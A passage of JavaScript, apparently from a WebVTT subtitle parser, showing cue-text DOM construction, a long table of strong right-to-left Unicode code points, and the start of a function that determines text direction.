  18898. // Append the node to the current node, and enter the scope of the new
  18899. // node.
  18900. tagStack.push(m[1]);
  18901. current.appendChild(node);
  18902. current = node;
  18903. continue;
  18904. }
  18905. // Text nodes are leaf nodes.
  18906. current.appendChild(window.document.createTextNode(unescape(t)));
  18907. }
  18908. return rootDiv;
  18909. }
  18910. // This is a list of all the Unicode characters that have a strong
  18911. // right-to-left category. What this means is that these characters are
  18912. // written right-to-left for sure. It was generated by pulling all the strong
  18913. // right-to-left characters out of the Unicode data table. That table can
  18914. // found at: http://www.unicode.org/Public/UNIDATA/UnicodeData.txt
  18915. var strongRTLChars = [0x05BE, 0x05C0, 0x05C3, 0x05C6, 0x05D0, 0x05D1,
  18916. 0x05D2, 0x05D3, 0x05D4, 0x05D5, 0x05D6, 0x05D7, 0x05D8, 0x05D9, 0x05DA,
  18917. 0x05DB, 0x05DC, 0x05DD, 0x05DE, 0x05DF, 0x05E0, 0x05E1, 0x05E2, 0x05E3,
  18918. 0x05E4, 0x05E5, 0x05E6, 0x05E7, 0x05E8, 0x05E9, 0x05EA, 0x05F0, 0x05F1,
  18919. 0x05F2, 0x05F3, 0x05F4, 0x0608, 0x060B, 0x060D, 0x061B, 0x061E, 0x061F,
  18920. 0x0620, 0x0621, 0x0622, 0x0623, 0x0624, 0x0625, 0x0626, 0x0627, 0x0628,
  18921. 0x0629, 0x062A, 0x062B, 0x062C, 0x062D, 0x062E, 0x062F, 0x0630, 0x0631,
  18922. 0x0632, 0x0633, 0x0634, 0x0635, 0x0636, 0x0637, 0x0638, 0x0639, 0x063A,
  18923. 0x063B, 0x063C, 0x063D, 0x063E, 0x063F, 0x0640, 0x0641, 0x0642, 0x0643,
  18924. 0x0644, 0x0645, 0x0646, 0x0647, 0x0648, 0x0649, 0x064A, 0x066D, 0x066E,
  18925. 0x066F, 0x0671, 0x0672, 0x0673, 0x0674, 0x0675, 0x0676, 0x0677, 0x0678,
  18926. 0x0679, 0x067A, 0x067B, 0x067C, 0x067D, 0x067E, 0x067F, 0x0680, 0x0681,
  18927. 0x0682, 0x0683, 0x0684, 0x0685, 0x0686, 0x0687, 0x0688, 0x0689, 0x068A,
  18928. 0x068B, 0x068C, 0x068D, 0x068E, 0x068F, 0x0690, 0x0691, 0x0692, 0x0693,
  18929. 0x0694, 0x0695, 0x0696, 0x0697, 0x0698, 0x0699, 0x069A, 0x069B, 0x069C,
  18930. 0x069D, 0x069E, 0x069F, 0x06A0, 0x06A1, 0x06A2, 0x06A3, 0x06A4, 0x06A5,
  18931. 0x06A6, 0x06A7, 0x06A8, 0x06A9, 0x06AA, 0x06AB, 0x06AC, 0x06AD, 0x06AE,
  18932. 0x06AF, 0x06B0, 0x06B1, 0x06B2, 0x06B3, 0x06B4, 0x06B5, 0x06B6, 0x06B7,
  18933. 0x06B8, 0x06B9, 0x06BA, 0x06BB, 0x06BC, 0x06BD, 0x06BE, 0x06BF, 0x06C0,
  18934. 0x06C1, 0x06C2, 0x06C3, 0x06C4, 0x06C5, 0x06C6, 0x06C7, 0x06C8, 0x06C9,
  18935. 0x06CA, 0x06CB, 0x06CC, 0x06CD, 0x06CE, 0x06CF, 0x06D0, 0x06D1, 0x06D2,
  18936. 0x06D3, 0x06D4, 0x06D5, 0x06E5, 0x06E6, 0x06EE, 0x06EF, 0x06FA, 0x06FB,
  18937. 0x06FC, 0x06FD, 0x06FE, 0x06FF, 0x0700, 0x0701, 0x0702, 0x0703, 0x0704,
  18938. 0x0705, 0x0706, 0x0707, 0x0708, 0x0709, 0x070A, 0x070B, 0x070C, 0x070D,
  18939. 0x070F, 0x0710, 0x0712, 0x0713, 0x0714, 0x0715, 0x0716, 0x0717, 0x0718,
  18940. 0x0719, 0x071A, 0x071B, 0x071C, 0x071D, 0x071E, 0x071F, 0x0720, 0x0721,
  18941. 0x0722, 0x0723, 0x0724, 0x0725, 0x0726, 0x0727, 0x0728, 0x0729, 0x072A,
  18942. 0x072B, 0x072C, 0x072D, 0x072E, 0x072F, 0x074D, 0x074E, 0x074F, 0x0750,
  18943. 0x0751, 0x0752, 0x0753, 0x0754, 0x0755, 0x0756, 0x0757, 0x0758, 0x0759,
  18944. 0x075A, 0x075B, 0x075C, 0x075D, 0x075E, 0x075F, 0x0760, 0x0761, 0x0762,
  18945. 0x0763, 0x0764, 0x0765, 0x0766, 0x0767, 0x0768, 0x0769, 0x076A, 0x076B,
  18946. 0x076C, 0x076D, 0x076E, 0x076F, 0x0770, 0x0771, 0x0772, 0x0773, 0x0774,
  18947. 0x0775, 0x0776, 0x0777, 0x0778, 0x0779, 0x077A, 0x077B, 0x077C, 0x077D,
  18948. 0x077E, 0x077F, 0x0780, 0x0781, 0x0782, 0x0783, 0x0784, 0x0785, 0x0786,
  18949. 0x0787, 0x0788, 0x0789, 0x078A, 0x078B, 0x078C, 0x078D, 0x078E, 0x078F,
  18950. 0x0790, 0x0791, 0x0792, 0x0793, 0x0794, 0x0795, 0x0796, 0x0797, 0x0798,
  18951. 0x0799, 0x079A, 0x079B, 0x079C, 0x079D, 0x079E, 0x079F, 0x07A0, 0x07A1,
  18952. 0x07A2, 0x07A3, 0x07A4, 0x07A5, 0x07B1, 0x07C0, 0x07C1, 0x07C2, 0x07C3,
  18953. 0x07C4, 0x07C5, 0x07C6, 0x07C7, 0x07C8, 0x07C9, 0x07CA, 0x07CB, 0x07CC,
  18954. 0x07CD, 0x07CE, 0x07CF, 0x07D0, 0x07D1, 0x07D2, 0x07D3, 0x07D4, 0x07D5,
  18955. 0x07D6, 0x07D7, 0x07D8, 0x07D9, 0x07DA, 0x07DB, 0x07DC, 0x07DD, 0x07DE,
  18956. 0x07DF, 0x07E0, 0x07E1, 0x07E2, 0x07E3, 0x07E4, 0x07E5, 0x07E6, 0x07E7,
  18957. 0x07E8, 0x07E9, 0x07EA, 0x07F4, 0x07F5, 0x07FA, 0x0800, 0x0801, 0x0802,
  18958. 0x0803, 0x0804, 0x0805, 0x0806, 0x0807, 0x0808, 0x0809, 0x080A, 0x080B,
  18959. 0x080C, 0x080D, 0x080E, 0x080F, 0x0810, 0x0811, 0x0812, 0x0813, 0x0814,
  18960. 0x0815, 0x081A, 0x0824, 0x0828, 0x0830, 0x0831, 0x0832, 0x0833, 0x0834,
  18961. 0x0835, 0x0836, 0x0837, 0x0838, 0x0839, 0x083A, 0x083B, 0x083C, 0x083D,
  18962. 0x083E, 0x0840, 0x0841, 0x0842, 0x0843, 0x0844, 0x0845, 0x0846, 0x0847,
  18963. 0x0848, 0x0849, 0x084A, 0x084B, 0x084C, 0x084D, 0x084E, 0x084F, 0x0850,
  18964. 0x0851, 0x0852, 0x0853, 0x0854, 0x0855, 0x0856, 0x0857, 0x0858, 0x085E,
  18965. 0x08A0, 0x08A2, 0x08A3, 0x08A4, 0x08A5, 0x08A6, 0x08A7, 0x08A8, 0x08A9,
  18966. 0x08AA, 0x08AB, 0x08AC, 0x200F, 0xFB1D, 0xFB1F, 0xFB20, 0xFB21, 0xFB22,
  18967. 0xFB23, 0xFB24, 0xFB25, 0xFB26, 0xFB27, 0xFB28, 0xFB2A, 0xFB2B, 0xFB2C,
  18968. 0xFB2D, 0xFB2E, 0xFB2F, 0xFB30, 0xFB31, 0xFB32, 0xFB33, 0xFB34, 0xFB35,
  18969. 0xFB36, 0xFB38, 0xFB39, 0xFB3A, 0xFB3B, 0xFB3C, 0xFB3E, 0xFB40, 0xFB41,
  18970. 0xFB43, 0xFB44, 0xFB46, 0xFB47, 0xFB48, 0xFB49, 0xFB4A, 0xFB4B, 0xFB4C,
  18971. 0xFB4D, 0xFB4E, 0xFB4F, 0xFB50, 0xFB51, 0xFB52, 0xFB53, 0xFB54, 0xFB55,
  18972. 0xFB56, 0xFB57, 0xFB58, 0xFB59, 0xFB5A, 0xFB5B, 0xFB5C, 0xFB5D, 0xFB5E,
  18973. 0xFB5F, 0xFB60, 0xFB61, 0xFB62, 0xFB63, 0xFB64, 0xFB65, 0xFB66, 0xFB67,
  18974. 0xFB68, 0xFB69, 0xFB6A, 0xFB6B, 0xFB6C, 0xFB6D, 0xFB6E, 0xFB6F, 0xFB70,
  18975. 0xFB71, 0xFB72, 0xFB73, 0xFB74, 0xFB75, 0xFB76, 0xFB77, 0xFB78, 0xFB79,
  18976. 0xFB7A, 0xFB7B, 0xFB7C, 0xFB7D, 0xFB7E, 0xFB7F, 0xFB80, 0xFB81, 0xFB82,
  18977. 0xFB83, 0xFB84, 0xFB85, 0xFB86, 0xFB87, 0xFB88, 0xFB89, 0xFB8A, 0xFB8B,
  18978. 0xFB8C, 0xFB8D, 0xFB8E, 0xFB8F, 0xFB90, 0xFB91, 0xFB92, 0xFB93, 0xFB94,
  18979. 0xFB95, 0xFB96, 0xFB97, 0xFB98, 0xFB99, 0xFB9A, 0xFB9B, 0xFB9C, 0xFB9D,
  18980. 0xFB9E, 0xFB9F, 0xFBA0, 0xFBA1, 0xFBA2, 0xFBA3, 0xFBA4, 0xFBA5, 0xFBA6,
  18981. 0xFBA7, 0xFBA8, 0xFBA9, 0xFBAA, 0xFBAB, 0xFBAC, 0xFBAD, 0xFBAE, 0xFBAF,
  18982. 0xFBB0, 0xFBB1, 0xFBB2, 0xFBB3, 0xFBB4, 0xFBB5, 0xFBB6, 0xFBB7, 0xFBB8,
  18983. 0xFBB9, 0xFBBA, 0xFBBB, 0xFBBC, 0xFBBD, 0xFBBE, 0xFBBF, 0xFBC0, 0xFBC1,
  18984. 0xFBD3, 0xFBD4, 0xFBD5, 0xFBD6, 0xFBD7, 0xFBD8, 0xFBD9, 0xFBDA, 0xFBDB,
  18985. 0xFBDC, 0xFBDD, 0xFBDE, 0xFBDF, 0xFBE0, 0xFBE1, 0xFBE2, 0xFBE3, 0xFBE4,
  18986. 0xFBE5, 0xFBE6, 0xFBE7, 0xFBE8, 0xFBE9, 0xFBEA, 0xFBEB, 0xFBEC, 0xFBED,
  18987. 0xFBEE, 0xFBEF, 0xFBF0, 0xFBF1, 0xFBF2, 0xFBF3, 0xFBF4, 0xFBF5, 0xFBF6,
  18988. 0xFBF7, 0xFBF8, 0xFBF9, 0xFBFA, 0xFBFB, 0xFBFC, 0xFBFD, 0xFBFE, 0xFBFF,
  18989. 0xFC00, 0xFC01, 0xFC02, 0xFC03, 0xFC04, 0xFC05, 0xFC06, 0xFC07, 0xFC08,
  18990. 0xFC09, 0xFC0A, 0xFC0B, 0xFC0C, 0xFC0D, 0xFC0E, 0xFC0F, 0xFC10, 0xFC11,
  18991. 0xFC12, 0xFC13, 0xFC14, 0xFC15, 0xFC16, 0xFC17, 0xFC18, 0xFC19, 0xFC1A,
  18992. 0xFC1B, 0xFC1C, 0xFC1D, 0xFC1E, 0xFC1F, 0xFC20, 0xFC21, 0xFC22, 0xFC23,
  18993. 0xFC24, 0xFC25, 0xFC26, 0xFC27, 0xFC28, 0xFC29, 0xFC2A, 0xFC2B, 0xFC2C,
  18994. 0xFC2D, 0xFC2E, 0xFC2F, 0xFC30, 0xFC31, 0xFC32, 0xFC33, 0xFC34, 0xFC35,
  18995. 0xFC36, 0xFC37, 0xFC38, 0xFC39, 0xFC3A, 0xFC3B, 0xFC3C, 0xFC3D, 0xFC3E,
  18996. 0xFC3F, 0xFC40, 0xFC41, 0xFC42, 0xFC43, 0xFC44, 0xFC45, 0xFC46, 0xFC47,
  18997. 0xFC48, 0xFC49, 0xFC4A, 0xFC4B, 0xFC4C, 0xFC4D, 0xFC4E, 0xFC4F, 0xFC50,
  18998. 0xFC51, 0xFC52, 0xFC53, 0xFC54, 0xFC55, 0xFC56, 0xFC57, 0xFC58, 0xFC59,
  18999. 0xFC5A, 0xFC5B, 0xFC5C, 0xFC5D, 0xFC5E, 0xFC5F, 0xFC60, 0xFC61, 0xFC62,
  19000. 0xFC63, 0xFC64, 0xFC65, 0xFC66, 0xFC67, 0xFC68, 0xFC69, 0xFC6A, 0xFC6B,
  19001. 0xFC6C, 0xFC6D, 0xFC6E, 0xFC6F, 0xFC70, 0xFC71, 0xFC72, 0xFC73, 0xFC74,
  19002. 0xFC75, 0xFC76, 0xFC77, 0xFC78, 0xFC79, 0xFC7A, 0xFC7B, 0xFC7C, 0xFC7D,
  19003. 0xFC7E, 0xFC7F, 0xFC80, 0xFC81, 0xFC82, 0xFC83, 0xFC84, 0xFC85, 0xFC86,
  19004. 0xFC87, 0xFC88, 0xFC89, 0xFC8A, 0xFC8B, 0xFC8C, 0xFC8D, 0xFC8E, 0xFC8F,
  19005. 0xFC90, 0xFC91, 0xFC92, 0xFC93, 0xFC94, 0xFC95, 0xFC96, 0xFC97, 0xFC98,
  19006. 0xFC99, 0xFC9A, 0xFC9B, 0xFC9C, 0xFC9D, 0xFC9E, 0xFC9F, 0xFCA0, 0xFCA1,
  19007. 0xFCA2, 0xFCA3, 0xFCA4, 0xFCA5, 0xFCA6, 0xFCA7, 0xFCA8, 0xFCA9, 0xFCAA,
  19008. 0xFCAB, 0xFCAC, 0xFCAD, 0xFCAE, 0xFCAF, 0xFCB0, 0xFCB1, 0xFCB2, 0xFCB3,
  19009. 0xFCB4, 0xFCB5, 0xFCB6, 0xFCB7, 0xFCB8, 0xFCB9, 0xFCBA, 0xFCBB, 0xFCBC,
  19010. 0xFCBD, 0xFCBE, 0xFCBF, 0xFCC0, 0xFCC1, 0xFCC2, 0xFCC3, 0xFCC4, 0xFCC5,
  19011. 0xFCC6, 0xFCC7, 0xFCC8, 0xFCC9, 0xFCCA, 0xFCCB, 0xFCCC, 0xFCCD, 0xFCCE,
  19012. 0xFCCF, 0xFCD0, 0xFCD1, 0xFCD2, 0xFCD3, 0xFCD4, 0xFCD5, 0xFCD6, 0xFCD7,
  19013. 0xFCD8, 0xFCD9, 0xFCDA, 0xFCDB, 0xFCDC, 0xFCDD, 0xFCDE, 0xFCDF, 0xFCE0,
  19014. 0xFCE1, 0xFCE2, 0xFCE3, 0xFCE4, 0xFCE5, 0xFCE6, 0xFCE7, 0xFCE8, 0xFCE9,
  19015. 0xFCEA, 0xFCEB, 0xFCEC, 0xFCED, 0xFCEE, 0xFCEF, 0xFCF0, 0xFCF1, 0xFCF2,
  19016. 0xFCF3, 0xFCF4, 0xFCF5, 0xFCF6, 0xFCF7, 0xFCF8, 0xFCF9, 0xFCFA, 0xFCFB,
  19017. 0xFCFC, 0xFCFD, 0xFCFE, 0xFCFF, 0xFD00, 0xFD01, 0xFD02, 0xFD03, 0xFD04,
  19018. 0xFD05, 0xFD06, 0xFD07, 0xFD08, 0xFD09, 0xFD0A, 0xFD0B, 0xFD0C, 0xFD0D,
  19019. 0xFD0E, 0xFD0F, 0xFD10, 0xFD11, 0xFD12, 0xFD13, 0xFD14, 0xFD15, 0xFD16,
  19020. 0xFD17, 0xFD18, 0xFD19, 0xFD1A, 0xFD1B, 0xFD1C, 0xFD1D, 0xFD1E, 0xFD1F,
  19021. 0xFD20, 0xFD21, 0xFD22, 0xFD23, 0xFD24, 0xFD25, 0xFD26, 0xFD27, 0xFD28,
  19022. 0xFD29, 0xFD2A, 0xFD2B, 0xFD2C, 0xFD2D, 0xFD2E, 0xFD2F, 0xFD30, 0xFD31,
  19023. 0xFD32, 0xFD33, 0xFD34, 0xFD35, 0xFD36, 0xFD37, 0xFD38, 0xFD39, 0xFD3A,
  19024. 0xFD3B, 0xFD3C, 0xFD3D, 0xFD50, 0xFD51, 0xFD52, 0xFD53, 0xFD54, 0xFD55,
  19025. 0xFD56, 0xFD57, 0xFD58, 0xFD59, 0xFD5A, 0xFD5B, 0xFD5C, 0xFD5D, 0xFD5E,
  19026. 0xFD5F, 0xFD60, 0xFD61, 0xFD62, 0xFD63, 0xFD64, 0xFD65, 0xFD66, 0xFD67,
  19027. 0xFD68, 0xFD69, 0xFD6A, 0xFD6B, 0xFD6C, 0xFD6D, 0xFD6E, 0xFD6F, 0xFD70,
  19028. 0xFD71, 0xFD72, 0xFD73, 0xFD74, 0xFD75, 0xFD76, 0xFD77, 0xFD78, 0xFD79,
  19029. 0xFD7A, 0xFD7B, 0xFD7C, 0xFD7D, 0xFD7E, 0xFD7F, 0xFD80, 0xFD81, 0xFD82,
  19030. 0xFD83, 0xFD84, 0xFD85, 0xFD86, 0xFD87, 0xFD88, 0xFD89, 0xFD8A, 0xFD8B,
  19031. 0xFD8C, 0xFD8D, 0xFD8E, 0xFD8F, 0xFD92, 0xFD93, 0xFD94, 0xFD95, 0xFD96,
  19032. 0xFD97, 0xFD98, 0xFD99, 0xFD9A, 0xFD9B, 0xFD9C, 0xFD9D, 0xFD9E, 0xFD9F,
  19033. 0xFDA0, 0xFDA1, 0xFDA2, 0xFDA3, 0xFDA4, 0xFDA5, 0xFDA6, 0xFDA7, 0xFDA8,
  19034. 0xFDA9, 0xFDAA, 0xFDAB, 0xFDAC, 0xFDAD, 0xFDAE, 0xFDAF, 0xFDB0, 0xFDB1,
  19035. 0xFDB2, 0xFDB3, 0xFDB4, 0xFDB5, 0xFDB6, 0xFDB7, 0xFDB8, 0xFDB9, 0xFDBA,
  19036. 0xFDBB, 0xFDBC, 0xFDBD, 0xFDBE, 0xFDBF, 0xFDC0, 0xFDC1, 0xFDC2, 0xFDC3,
  19037. 0xFDC4, 0xFDC5, 0xFDC6, 0xFDC7, 0xFDF0, 0xFDF1, 0xFDF2, 0xFDF3, 0xFDF4,
  19038. 0xFDF5, 0xFDF6, 0xFDF7, 0xFDF8, 0xFDF9, 0xFDFA, 0xFDFB, 0xFDFC, 0xFE70,
  19039. 0xFE71, 0xFE72, 0xFE73, 0xFE74, 0xFE76, 0xFE77, 0xFE78, 0xFE79, 0xFE7A,
  19040. 0xFE7B, 0xFE7C, 0xFE7D, 0xFE7E, 0xFE7F, 0xFE80, 0xFE81, 0xFE82, 0xFE83,
  19041. 0xFE84, 0xFE85, 0xFE86, 0xFE87, 0xFE88, 0xFE89, 0xFE8A, 0xFE8B, 0xFE8C,
  19042. 0xFE8D, 0xFE8E, 0xFE8F, 0xFE90, 0xFE91, 0xFE92, 0xFE93, 0xFE94, 0xFE95,
  19043. 0xFE96, 0xFE97, 0xFE98, 0xFE99, 0xFE9A, 0xFE9B, 0xFE9C, 0xFE9D, 0xFE9E,
  19044. 0xFE9F, 0xFEA0, 0xFEA1, 0xFEA2, 0xFEA3, 0xFEA4, 0xFEA5, 0xFEA6, 0xFEA7,
  19045. 0xFEA8, 0xFEA9, 0xFEAA, 0xFEAB, 0xFEAC, 0xFEAD, 0xFEAE, 0xFEAF, 0xFEB0,
  19046. 0xFEB1, 0xFEB2, 0xFEB3, 0xFEB4, 0xFEB5, 0xFEB6, 0xFEB7, 0xFEB8, 0xFEB9,
  19047. 0xFEBA, 0xFEBB, 0xFEBC, 0xFEBD, 0xFEBE, 0xFEBF, 0xFEC0, 0xFEC1, 0xFEC2,
  19048. 0xFEC3, 0xFEC4, 0xFEC5, 0xFEC6, 0xFEC7, 0xFEC8, 0xFEC9, 0xFECA, 0xFECB,
  19049. 0xFECC, 0xFECD, 0xFECE, 0xFECF, 0xFED0, 0xFED1, 0xFED2, 0xFED3, 0xFED4,
  19050. 0xFED5, 0xFED6, 0xFED7, 0xFED8, 0xFED9, 0xFEDA, 0xFEDB, 0xFEDC, 0xFEDD,
  19051. 0xFEDE, 0xFEDF, 0xFEE0, 0xFEE1, 0xFEE2, 0xFEE3, 0xFEE4, 0xFEE5, 0xFEE6,
  19052. 0xFEE7, 0xFEE8, 0xFEE9, 0xFEEA, 0xFEEB, 0xFEEC, 0xFEED, 0xFEEE, 0xFEEF,
  19053. 0xFEF0, 0xFEF1, 0xFEF2, 0xFEF3, 0xFEF4, 0xFEF5, 0xFEF6, 0xFEF7, 0xFEF8,
  19054. 0xFEF9, 0xFEFA, 0xFEFB, 0xFEFC, 0x10800, 0x10801, 0x10802, 0x10803,
  19055. 0x10804, 0x10805, 0x10808, 0x1080A, 0x1080B, 0x1080C, 0x1080D, 0x1080E,
  19056. 0x1080F, 0x10810, 0x10811, 0x10812, 0x10813, 0x10814, 0x10815, 0x10816,
  19057. 0x10817, 0x10818, 0x10819, 0x1081A, 0x1081B, 0x1081C, 0x1081D, 0x1081E,
  19058. 0x1081F, 0x10820, 0x10821, 0x10822, 0x10823, 0x10824, 0x10825, 0x10826,
  19059. 0x10827, 0x10828, 0x10829, 0x1082A, 0x1082B, 0x1082C, 0x1082D, 0x1082E,
  19060. 0x1082F, 0x10830, 0x10831, 0x10832, 0x10833, 0x10834, 0x10835, 0x10837,
  19061. 0x10838, 0x1083C, 0x1083F, 0x10840, 0x10841, 0x10842, 0x10843, 0x10844,
  19062. 0x10845, 0x10846, 0x10847, 0x10848, 0x10849, 0x1084A, 0x1084B, 0x1084C,
  19063. 0x1084D, 0x1084E, 0x1084F, 0x10850, 0x10851, 0x10852, 0x10853, 0x10854,
  19064. 0x10855, 0x10857, 0x10858, 0x10859, 0x1085A, 0x1085B, 0x1085C, 0x1085D,
  19065. 0x1085E, 0x1085F, 0x10900, 0x10901, 0x10902, 0x10903, 0x10904, 0x10905,
  19066. 0x10906, 0x10907, 0x10908, 0x10909, 0x1090A, 0x1090B, 0x1090C, 0x1090D,
  19067. 0x1090E, 0x1090F, 0x10910, 0x10911, 0x10912, 0x10913, 0x10914, 0x10915,
  19068. 0x10916, 0x10917, 0x10918, 0x10919, 0x1091A, 0x1091B, 0x10920, 0x10921,
  19069. 0x10922, 0x10923, 0x10924, 0x10925, 0x10926, 0x10927, 0x10928, 0x10929,
  19070. 0x1092A, 0x1092B, 0x1092C, 0x1092D, 0x1092E, 0x1092F, 0x10930, 0x10931,
  19071. 0x10932, 0x10933, 0x10934, 0x10935, 0x10936, 0x10937, 0x10938, 0x10939,
  19072. 0x1093F, 0x10980, 0x10981, 0x10982, 0x10983, 0x10984, 0x10985, 0x10986,
  19073. 0x10987, 0x10988, 0x10989, 0x1098A, 0x1098B, 0x1098C, 0x1098D, 0x1098E,
  19074. 0x1098F, 0x10990, 0x10991, 0x10992, 0x10993, 0x10994, 0x10995, 0x10996,
  19075. 0x10997, 0x10998, 0x10999, 0x1099A, 0x1099B, 0x1099C, 0x1099D, 0x1099E,
  19076. 0x1099F, 0x109A0, 0x109A1, 0x109A2, 0x109A3, 0x109A4, 0x109A5, 0x109A6,
  19077. 0x109A7, 0x109A8, 0x109A9, 0x109AA, 0x109AB, 0x109AC, 0x109AD, 0x109AE,
  19078. 0x109AF, 0x109B0, 0x109B1, 0x109B2, 0x109B3, 0x109B4, 0x109B5, 0x109B6,
  19079. 0x109B7, 0x109BE, 0x109BF, 0x10A00, 0x10A10, 0x10A11, 0x10A12, 0x10A13,
  19080. 0x10A15, 0x10A16, 0x10A17, 0x10A19, 0x10A1A, 0x10A1B, 0x10A1C, 0x10A1D,
  19081. 0x10A1E, 0x10A1F, 0x10A20, 0x10A21, 0x10A22, 0x10A23, 0x10A24, 0x10A25,
  19082. 0x10A26, 0x10A27, 0x10A28, 0x10A29, 0x10A2A, 0x10A2B, 0x10A2C, 0x10A2D,
  19083. 0x10A2E, 0x10A2F, 0x10A30, 0x10A31, 0x10A32, 0x10A33, 0x10A40, 0x10A41,
  19084. 0x10A42, 0x10A43, 0x10A44, 0x10A45, 0x10A46, 0x10A47, 0x10A50, 0x10A51,
  19085. 0x10A52, 0x10A53, 0x10A54, 0x10A55, 0x10A56, 0x10A57, 0x10A58, 0x10A60,
  19086. 0x10A61, 0x10A62, 0x10A63, 0x10A64, 0x10A65, 0x10A66, 0x10A67, 0x10A68,
  19087. 0x10A69, 0x10A6A, 0x10A6B, 0x10A6C, 0x10A6D, 0x10A6E, 0x10A6F, 0x10A70,
  19088. 0x10A71, 0x10A72, 0x10A73, 0x10A74, 0x10A75, 0x10A76, 0x10A77, 0x10A78,
  19089. 0x10A79, 0x10A7A, 0x10A7B, 0x10A7C, 0x10A7D, 0x10A7E, 0x10A7F, 0x10B00,
  19090. 0x10B01, 0x10B02, 0x10B03, 0x10B04, 0x10B05, 0x10B06, 0x10B07, 0x10B08,
  19091. 0x10B09, 0x10B0A, 0x10B0B, 0x10B0C, 0x10B0D, 0x10B0E, 0x10B0F, 0x10B10,
  19092. 0x10B11, 0x10B12, 0x10B13, 0x10B14, 0x10B15, 0x10B16, 0x10B17, 0x10B18,
  19093. 0x10B19, 0x10B1A, 0x10B1B, 0x10B1C, 0x10B1D, 0x10B1E, 0x10B1F, 0x10B20,
  19094. 0x10B21, 0x10B22, 0x10B23, 0x10B24, 0x10B25, 0x10B26, 0x10B27, 0x10B28,
  19095. 0x10B29, 0x10B2A, 0x10B2B, 0x10B2C, 0x10B2D, 0x10B2E, 0x10B2F, 0x10B30,
  19096. 0x10B31, 0x10B32, 0x10B33, 0x10B34, 0x10B35, 0x10B40, 0x10B41, 0x10B42,
  19097. 0x10B43, 0x10B44, 0x10B45, 0x10B46, 0x10B47, 0x10B48, 0x10B49, 0x10B4A,
  19098. 0x10B4B, 0x10B4C, 0x10B4D, 0x10B4E, 0x10B4F, 0x10B50, 0x10B51, 0x10B52,
  19099. 0x10B53, 0x10B54, 0x10B55, 0x10B58, 0x10B59, 0x10B5A, 0x10B5B, 0x10B5C,
  19100. 0x10B5D, 0x10B5E, 0x10B5F, 0x10B60, 0x10B61, 0x10B62, 0x10B63, 0x10B64,
  19101. 0x10B65, 0x10B66, 0x10B67, 0x10B68, 0x10B69, 0x10B6A, 0x10B6B, 0x10B6C,
  19102. 0x10B6D, 0x10B6E, 0x10B6F, 0x10B70, 0x10B71, 0x10B72, 0x10B78, 0x10B79,
  19103. 0x10B7A, 0x10B7B, 0x10B7C, 0x10B7D, 0x10B7E, 0x10B7F, 0x10C00, 0x10C01,
  19104. 0x10C02, 0x10C03, 0x10C04, 0x10C05, 0x10C06, 0x10C07, 0x10C08, 0x10C09,
  19105. 0x10C0A, 0x10C0B, 0x10C0C, 0x10C0D, 0x10C0E, 0x10C0F, 0x10C10, 0x10C11,
  19106. 0x10C12, 0x10C13, 0x10C14, 0x10C15, 0x10C16, 0x10C17, 0x10C18, 0x10C19,
  19107. 0x10C1A, 0x10C1B, 0x10C1C, 0x10C1D, 0x10C1E, 0x10C1F, 0x10C20, 0x10C21,
  19108. 0x10C22, 0x10C23, 0x10C24, 0x10C25, 0x10C26, 0x10C27, 0x10C28, 0x10C29,
  19109. 0x10C2A, 0x10C2B, 0x10C2C, 0x10C2D, 0x10C2E, 0x10C2F, 0x10C30, 0x10C31,
  19110. 0x10C32, 0x10C33, 0x10C34, 0x10C35, 0x10C36, 0x10C37, 0x10C38, 0x10C39,
  19111. 0x10C3A, 0x10C3B, 0x10C3C, 0x10C3D, 0x10C3E, 0x10C3F, 0x10C40, 0x10C41,
  19112. 0x10C42, 0x10C43, 0x10C44, 0x10C45, 0x10C46, 0x10C47, 0x10C48, 0x1EE00,
  19113. 0x1EE01, 0x1EE02, 0x1EE03, 0x1EE05, 0x1EE06, 0x1EE07, 0x1EE08, 0x1EE09,
  19114. 0x1EE0A, 0x1EE0B, 0x1EE0C, 0x1EE0D, 0x1EE0E, 0x1EE0F, 0x1EE10, 0x1EE11,
  19115. 0x1EE12, 0x1EE13, 0x1EE14, 0x1EE15, 0x1EE16, 0x1EE17, 0x1EE18, 0x1EE19,
  19116. 0x1EE1A, 0x1EE1B, 0x1EE1C, 0x1EE1D, 0x1EE1E, 0x1EE1F, 0x1EE21, 0x1EE22,
  19117. 0x1EE24, 0x1EE27, 0x1EE29, 0x1EE2A, 0x1EE2B, 0x1EE2C, 0x1EE2D, 0x1EE2E,
  19118. 0x1EE2F, 0x1EE30, 0x1EE31, 0x1EE32, 0x1EE34, 0x1EE35, 0x1EE36, 0x1EE37,
  19119. 0x1EE39, 0x1EE3B, 0x1EE42, 0x1EE47, 0x1EE49, 0x1EE4B, 0x1EE4D, 0x1EE4E,
  19120. 0x1EE4F, 0x1EE51, 0x1EE52, 0x1EE54, 0x1EE57, 0x1EE59, 0x1EE5B, 0x1EE5D,
  19121. 0x1EE5F, 0x1EE61, 0x1EE62, 0x1EE64, 0x1EE67, 0x1EE68, 0x1EE69, 0x1EE6A,
  19122. 0x1EE6C, 0x1EE6D, 0x1EE6E, 0x1EE6F, 0x1EE70, 0x1EE71, 0x1EE72, 0x1EE74,
  19123. 0x1EE75, 0x1EE76, 0x1EE77, 0x1EE79, 0x1EE7A, 0x1EE7B, 0x1EE7C, 0x1EE7E,
  19124. 0x1EE80, 0x1EE81, 0x1EE82, 0x1EE83, 0x1EE84, 0x1EE85, 0x1EE86, 0x1EE87,
  19125. 0x1EE88, 0x1EE89, 0x1EE8B, 0x1EE8C, 0x1EE8D, 0x1EE8E, 0x1EE8F, 0x1EE90,
  19126. 0x1EE91, 0x1EE92, 0x1EE93, 0x1EE94, 0x1EE95, 0x1EE96, 0x1EE97, 0x1EE98,
  19127. 0x1EE99, 0x1EE9A, 0x1EE9B, 0x1EEA1, 0x1EEA2, 0x1EEA3, 0x1EEA5, 0x1EEA6,
  19128. 0x1EEA7, 0x1EEA8, 0x1EEA9, 0x1EEAB, 0x1EEAC, 0x1EEAD, 0x1EEAE, 0x1EEAF,
  19129. 0x1EEB0, 0x1EEB1, 0x1EEB2, 0x1EEB3, 0x1EEB4, 0x1EEB5, 0x1EEB6, 0x1EEB7,
  19130. 0x1EEB8, 0x1EEB9, 0x1EEBA, 0x1EEBB, 0x10FFFD];
  19131. function determineBidi(cueDiv) {
  19132. var nodeStack = [],
  19133. text = "",
  19134. charCode;
  19135. if (!cueDiv || !cueDiv.childNodes) {
  19136. return "ltr";
  19137. }
  19138. function pushNodes(nodeStack, node) {
  19139. for (var i = node.childNodes.length - 1; i >= 0; i--) {
  19140. nodeStack.push(node.childNodes[i]);
  19141. }
  19142. }
  19143. function nextTextNode(nodeStack) {
